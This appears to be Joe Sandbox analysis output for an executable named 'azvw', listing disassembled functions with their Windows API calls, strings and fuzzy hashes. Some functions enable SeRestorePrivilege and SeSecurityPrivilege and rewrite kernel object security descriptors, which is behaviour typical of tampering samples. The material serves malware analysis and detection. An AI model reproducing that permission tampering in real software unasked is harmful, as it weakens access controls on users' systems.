Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 662fd1020942aae6793e2087e8affa122bfdd206edd3d2d1eb422e75de9f09a4
Instruction ID: 5320c27688b98f5302928a735e1011bfd1bbdf3e9bbdda589cca2c7182946b54
Opcode Fuzzy Hash: 662fd1020942aae6793e2087e8affa122bfdd206edd3d2d1eb422e75de9f09a4
Instruction Fuzzy Hash: 5461D434604385DFDF218F58C884BEA7BB1EF66314F14409BE8618B391D37899C6CB9A

Function 00411DF0 Relevance: 6.2, APIs: 4, Instructions: 171
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,00000000,00000000,00000001,?,?,?,004119DD,00000000,00439BA4), ref: 00411E2F
GetFileTime.KERNEL32(00000000,?,?,?,?,?,?,004119DD,00000000,00439BA4,00000000), ref: 00411E50
CloseHandle.KERNEL32(00000000,?,?,?,004119DD,00000000,00439BA4,00000000), ref: 00411E59

Part of subcall function 00412020: FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0041202E

Part of subcall function 00412020: FileTimeToSystemTime.KERNEL32(?,?), ref: 00412050

GetFileAttributesA.KERNELBASE(?,00000000,00000001,?,?,?,004119DD,00000000,00439BA4,00000000), ref: 00411F49

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: File$Time$AttributesCloseCreateHandleLocalSystem
String ID:
API String ID: 3576422975-0
Opcode ID: 3cad0420f0cdd6335c139d48f8f330720120e89d336076a35baf0621a384d64a
Instruction ID: 9a36ea26c0d62d6c96e4ebb2062f951fe69ccc09c33042294df6f6886f757777
Opcode Fuzzy Hash: 3cad0420f0cdd6335c139d48f8f330720120e89d336076a35baf0621a384d64a
Instruction Fuzzy Hash: 5751C3316043015BD710DF6AEC81BEBB7E8EB94764F440A2EFE44C3261F369E54A87A5

Function 00415612 Relevance: 6.1, APIs: 4, Instructions: 139
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,00000000,00000000,00000001,00000000,?), ref: 004156EA

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: ec952a0408a3cf418a3ec59ac1f76e10f98e980b2df25900257c814851cd74c4
Instruction ID: fd92a10f5c6077c0babe725d0f2bda95c351a5f2df5236355322924d052ad3e7
Opcode Fuzzy Hash: ec952a0408a3cf418a3ec59ac1f76e10f98e980b2df25900257c814851cd74c4
Instruction Fuzzy Hash: 9B51D431A00608EFCB11CF68C985BED7BB0BF95340F6481ABE825CB2D0D7349A81CB58

Function 0041908B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(00000000,pVA,00000000,00000000,00000000,00000000,?,00415670,00000000,00000000,00000002,00000001,00000000,?), ref: 004190DA
GetLastError.KERNEL32 ref: 004190E7

Strings

pVA, xrefs: 004190D5

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID: pVA
API String ID: 2976181284-1183464086
Opcode ID: 131327f381336626f51c1b1e4d4a234bfad70b39e4a78b2d7dc9e93e7cbb53e2
Instruction ID: fa06997a6f1e68cb521b0c2e02ae2bf62f6d0eade7be31b879ca3dfd74e60512
Opcode Fuzzy Hash: 131327f381336626f51c1b1e4d4a234bfad70b39e4a78b2d7dc9e93e7cbb53e2
Instruction Fuzzy Hash: 0F1104356082026BD710CBB8DCA8B993B94AB05328F64462EF521C72D2DB78DCC5D709

Function 00417635 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,004148D6,00000000), ref: 00417646

Part of subcall function 004174ED: GetVersionExA.KERNEL32 ref: 0041750C

HeapDestroy.KERNEL32 ref: 00417685

Part of subcall function 00417692: HeapAlloc.KERNEL32(00000000,00000140,0041766E,000003F8), ref: 0041769F

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: be7ba36ee05323b4acf4cd4af1487bb129e21c23fd765112a91abd45a39af523
Instruction ID: c639374c03c1bbca960cdedcb2ad31ff4a57a72680c20006ab14361f52bc4f08
Opcode Fuzzy Hash: be7ba36ee05323b4acf4cd4af1487bb129e21c23fd765112a91abd45a39af523
Instruction Fuzzy Hash: 4AF09B71A9C701AADF245F795D057E736F197447A5F11843BF940C41A0EF7C84D0991E

Function 00411DA0 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5), ref: 00411DA5
GetConsoleScreenBufferInfo.KERNELBASE(00000000), ref: 00411DB1

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: BufferConsoleHandleInfoScreen
String ID:
API String ID: 3205511803-0
Opcode ID: 6091993d0407b41d1096e467bcedc417f69b3cc921582001fceb4dbf2f452062
Instruction ID: 2683345625bb2b6ff7a4569ee6bc74124bc6c5927012fb1b6a6cc8e947cd4d2d
Opcode Fuzzy Hash: 6091993d0407b41d1096e467bcedc417f69b3cc921582001fceb4dbf2f452062
Instruction Fuzzy Hash: C8F0303420C2619B8708DF6CD88457FBBE4FF85B02F44892DF899C2254E678D444C616

Function 00419C6E Relevance: 2.6, APIs: 2, Instructions: 66COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000100,00000000,?,00000000,0041BA87,00000000), ref: 00419CD3
GetLastError.KERNEL32(?,00000000,0041BA87,00000000), ref: 00419CDD

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: f9b6bb7d8100d4bbecf413796a04f0f93ba1cbe6bc72e755fd6993f7c43df49d
Instruction ID: 0a7daf000d88186497e87b0e4d2920fdb345bf05d39154690c4c97767af7b358
Opcode Fuzzy Hash: f9b6bb7d8100d4bbecf413796a04f0f93ba1cbe6bc72e755fd6993f7c43df49d
Instruction Fuzzy Hash: C61159327042046BD3109BA5FC59BEA37A89F9272DF24421FE451872C1EBBD9CC1919D

Function 004132B2 Relevance: 1.5, APIs: 1, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,00413296,000000E0,00413283,?,00418AD9,00000100), ref: 0041331E

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 10cd39a4e3fb8dc6af8208fefe4471acc436069d1523d61133af57c11b9b0b1b
Instruction ID: 48b680421b518da560860e7c6281a74435bf10b9df979dcfe3be48ef626c488a
Opcode Fuzzy Hash: 10cd39a4e3fb8dc6af8208fefe4471acc436069d1523d61133af57c11b9b0b1b
Instruction Fuzzy Hash: 10F0F932A4522866EA20AF146D417CB6B54AB04725F160123FC60BB2D0CB28FDD1928D

Non-executed Functions

Function 00412830 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,00000000,004125D0), ref: 0041283A
OpenProcessToken.ADVAPI32(00000000), ref: 00412841
LookupPrivilegeValueA.ADVAPI32 ref: 00412874
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00412898
GetLastError.KERNEL32 ref: 0041289E
CloseHandle.KERNEL32(?), ref: 004128B3
LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,00000000), ref: 004128D5
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 004128ED
GetLastError.KERNEL32 ref: 004128F3
CloseHandle.KERNEL32(?), ref: 00412908

Strings

SeRestorePrivilege, xrefs: 0041285D
SeSecurityPrivilege, xrefs: 004128CE

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Token$AdjustCloseErrorHandleLastLookupPrivilegePrivilegesProcessValue$CurrentOpen
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 1809565852-639343689
Opcode ID: 0038326b2359d2eb237540bc216a645e7a39cfe756c0de5b997349a01dd5918c
Instruction ID: 14832d4c124a178f5e51333f31e844f1366d56099beffb2702e6ad8efb91e307
Opcode Fuzzy Hash: 0038326b2359d2eb237540bc216a645e7a39cfe756c0de5b997349a01dd5918c
Instruction Fuzzy Hash: 8621B3B5350305BBE610DB65DC05FEB7798AB84B50F408829FA00C61D0DBF4E4598B7D

Function 004125F0 Relevance: 18.1, APIs: 12, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000008,010E0000,00000005,00000000,00000003,02000000,00000000,76ECFFB0,00000000,00000001,76ECE820,004124B5,?,?), ref: 0041261C
GetKernelObjectSecurity.ADVAPI32(00000000,0000000F,00000000,00000000,?), ref: 00412643
GetLastError.KERNEL32 ref: 00412645
GetProcessHeap.KERNEL32(00000000,?), ref: 00412657
HeapAlloc.KERNEL32(00000000), ref: 0041265E
GetKernelObjectSecurity.ADVAPI32(00000000,0000000F,00000000,?,?), ref: 00412678
SetKernelObjectSecurity.ADVAPI32(00000000,0000000F,00000000), ref: 00412682
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00412697
HeapFree.KERNEL32(00000000), ref: 0041269E
CloseHandle.KERNEL32(00000000), ref: 004126A5
CreateFileA.KERNEL32(00000008,01000000,00000007,00000000,00000003,00000000,00000000), ref: 004126C0
CloseHandle.KERNEL32(00000000), ref: 004126C8

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Heap$KernelObjectSecurity$CloseCreateFileHandleProcess$AllocErrorFreeLast
String ID:
API String ID: 1259232358-0
Opcode ID: 2d09ea0bb7638fb770d8096d7de764fb49fa537e4193b44c19bd0124d84c7172
Instruction ID: 8f95d78b3328024af2753c56ff7b2632f9dbad148f303ec9c12ad49708251d75
Opcode Fuzzy Hash: 2d09ea0bb7638fb770d8096d7de764fb49fa537e4193b44c19bd0124d84c7172
Instruction Fuzzy Hash: 1521E271240315BBE7208F65DC49FEB7BA8EF89B11F108525FA04DA1D0D7F4E8018728

Function 0041BC50 Relevance: 9.1, APIs: 6, Instructions: 101COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00000000,00000080,00000000,?,?,00000001), ref: 0041BC86
GetLocaleInfoA.KERNEL32(00000000,00000001,00000000,00000000,?,?,00000001), ref: 0041BC99
GetLocaleInfoA.KERNEL32(?,?,00000000,00000080,?,?,00000000,00000080,00000000,?,?,00000001), ref: 0041BCC0
GetLocaleInfoW.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000080,00000000,?,?,00000001), ref: 0041BCE9
GetLocaleInfoW.KERNEL32(?,?,?,?,?,?), ref: 0041BD2C
WideCharToMultiByte.KERNEL32(00000000,00000220,?,000000FF,?,?,00000000,00000000,?,?,?,?), ref: 0041BD52

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWide
String ID:
API String ID: 1691099609-0
Opcode ID: ff77e7eca9720c41c7d5f443828ee78ae5fb6385ae2af7653d22f72767a37d0e
Instruction ID: 958d6847a000fbb349c9dbb8f7dd6cc025be0d133b592c5778a926ff2135057d
Opcode Fuzzy Hash: ff77e7eca9720c41c7d5f443828ee78ae5fb6385ae2af7653d22f72767a37d0e
Instruction Fuzzy Hash: 4E318B31601229FBCF228F56DC49EDF7F74FB09B60F108526F915922A0D7788991CAE9

Function 0041BB3D Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000001,00000000,00000000,?,004290CC,00000001,00000004,00000000,?,?,00000001), ref: 0041BB73
GetLocaleInfoA.KERNEL32(00000000,00000001,00000000,00000000,?,004290CC,00000001,00000004,00000000,?,?,00000001), ref: 0041BB86
GetLocaleInfoW.KERNEL32(?,?,00000000,00000004,?,004290CC,00000001,00000004,00000000,?,?,00000001), ref: 0041BBAD
GetLocaleInfoA.KERNEL32(?,?,00000000,00000000,?,004290CC,00000001,00000004,00000000,?,?,00000001), ref: 0041BBD2
GetLocaleInfoA.KERNEL32(?,?,?,004290CC,?,004290CC,00000001,00000004,00000000,?,?), ref: 0041BC13
MultiByteToWideChar.KERNEL32(00000001,00000001,?,000000FF,00000000,00000004,?,004290CC,?,004290CC,00000001,00000004,00000000,?,?), ref: 0041BC34

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWide
String ID:
API String ID: 1691099609-0
Opcode ID: 6176acd9af39b3310e1670d104befc426a1c5ec8e1d33516a1e498ba842b64ba
Instruction ID: 80d035fc61a38f0af9f2ad217f61039d53b68e42f171c84ccbdcf7cbbead4454
Opcode Fuzzy Hash: 6176acd9af39b3310e1670d104befc426a1c5ec8e1d33516a1e498ba842b64ba
Instruction Fuzzy Hash: E7319C31500209EBCF228F56CD45EEF7F75EB49B50F10852AF811922A0D7798991DBE9

Function 00416D51 Relevance: 4.7, APIs: 3, Instructions: 165COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,-00001002,?,00000078), ref: 00416D7F
GetLocaleInfoA.KERNEL32(00000000,00000000,?,00000078), ref: 00416DC5
GetLocaleInfoA.KERNEL32(00000000,00000000,?,00000078), ref: 00416E96

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 9f90090d993ac7c305df7442b75dd3576b7d9cefd0c5a0f2cde790dcd44f731c
Instruction ID: dc89844be1d73419b197e80717226bdb5770609426176513082cb7a3ad8c00c6
Opcode Fuzzy Hash: 9f90090d993ac7c305df7442b75dd3576b7d9cefd0c5a0f2cde790dcd44f731c
Instruction Fuzzy Hash: 7E5194727556015AEB31DB25EC41AEF3BADEB10715F56013FE800C22A1DFA9C8C68B1C

Function 0041BD13 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?), ref: 0041BD2C
WideCharToMultiByte.KERNEL32(00000000,00000220,?,000000FF,?,?,00000000,00000000,?,?,?,?), ref: 0041BD52

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ByteCharInfoLocaleMultiWide
String ID:
API String ID: 1196101659-0
Opcode ID: 5558466f0abd7b7493cc2bf79b0dddd4ae8569c55b6816c0c4c658fb69c1a660
Instruction ID: 31d47ac3fd5b94ecb22742bb44b162820398262bd93f2cf498d786ba73a29fe5
Opcode Fuzzy Hash: 5558466f0abd7b7493cc2bf79b0dddd4ae8569c55b6816c0c4c658fb69c1a660
Instruction Fuzzy Hash: 62F09A32901229FBCF264F82EC09ADF7F30FB85760F008226F922621A0C7344861CAE5

Function 0041BBFA Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,004290CC,?,004290CC,00000001,00000004,00000000,?,?), ref: 0041BC13
MultiByteToWideChar.KERNEL32(00000001,00000001,?,000000FF,00000000,00000004,?,004290CC,?,004290CC,00000001,00000004,00000000,?,?), ref: 0041BC34

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ByteCharInfoLocaleMultiWide
String ID:
API String ID: 1196101659-0
Opcode ID: 9eb92b3a7cf15e53121553cd13144aa6582e0c2c1dfe65d05ee3244f637f7b10
Instruction ID: 2d6427f8aa20fe1414e29516085f7d604162f02af8a5e6752e54a78417984fb5
Opcode Fuzzy Hash: 9eb92b3a7cf15e53121553cd13144aa6582e0c2c1dfe65d05ee3244f637f7b10
Instruction Fuzzy Hash: 36F03035900219EACF318F56DD05ADFBF31FB45760F10462AF925621E0EB354851DAD5

Function 0041725C Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,?), ref: 0041729D

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: d11bff62c67589dcc09ef5241ee42cdf9f88c74ae04b8c5d5c73e73f0cd26bfb
Instruction ID: 75be6c02beabf803a7fc4e96b9c3a42d32ccb8a068e701f6d51d91f6728dc3c2
Opcode Fuzzy Hash: d11bff62c67589dcc09ef5241ee42cdf9f88c74ae04b8c5d5c73e73f0cd26bfb
Instruction Fuzzy Hash: EE216B3260C0059BDB284A38DD856F67775DB44341B494477FD02CA292E73AEED2D29D

Function 00416FAB Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,-00001001,?,00000078), ref: 00416FD7

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 893157f915b6c02fd5ada0d35b3ef127db9ceb61bb3db7cdc74c10e6e612357b
Instruction ID: 8b9f09be45cda31c8b1cf3b17cd73bbf62894201d141fe0e773e0c3f75cf106f
Opcode Fuzzy Hash: 893157f915b6c02fd5ada0d35b3ef127db9ceb61bb3db7cdc74c10e6e612357b
Instruction Fuzzy Hash: E411B672B692016AE7309B25EC41AEB3BACEB14755F55003FF801D11A1EBA9C4C68B5D

Function 0041709F Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,-00001002,?,00000078), ref: 004170CB

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 63507c303ede3921caba65f6ce60eb42d96a0c8cb0d7c1e69e731b16ec258969
Instruction ID: 81850ce66d6ca33ab545172f8868e9d86e81415df962d95f81e3ad912132f72d
Opcode Fuzzy Hash: 63507c303ede3921caba65f6ce60eb42d96a0c8cb0d7c1e69e731b16ec258969
Instruction Fuzzy Hash: 7A01F7736291116AE7309B34EC02AEB37ACEB10755B61413FF800C5191DFA888C68B48

Function 004171C4 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,00000001,?,00000078), ref: 004171DE

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 719b2f718b54a4177c125953744089af908c5c417972cf9d9832ab5408b7d0b0
Instruction ID: 6978367b58e2c2410655e08ecac337e351e9f268a727dde218835fb005340b87
Opcode Fuzzy Hash: 719b2f718b54a4177c125953744089af908c5c417972cf9d9832ab5408b7d0b0
Instruction Fuzzy Hash: 56F09632948204AAEF31ABB4EC46BCA37B9AB00754F14447BFA10E61D0DA79D4C1CA88

Function 00416CCA Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

